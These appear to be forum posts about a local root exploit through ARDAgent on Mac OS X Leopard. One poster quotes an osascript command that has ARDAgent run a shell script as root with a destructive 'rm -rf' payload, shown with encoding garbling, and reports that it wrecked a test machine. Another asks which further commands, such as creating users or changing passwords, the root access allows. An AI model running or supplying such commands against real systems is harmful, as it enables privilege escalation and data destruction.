Using an old powerbook I had with Leopard installed, I issued the command: osascript -e 'tell app "ARDAgent" to do shell script âoerm â"rf/*â '; That destroyed the system. It kept running, but the system preferences could not be accessed, and the machine began to lock up. It would no longer boot.
OK, I am interested in this, but having a little trouble understanding what this exploit can do. I ran the default script, and yes, it did return "root".
But, can it do practical things? Can it create a user? Reveal/change passwords for existing users? Delete files? Can it run the dreaded rm *.*?
I have two powerbooks sitting around that have leopard I could blow away if someone can suggest commands to run. I'll report the results.
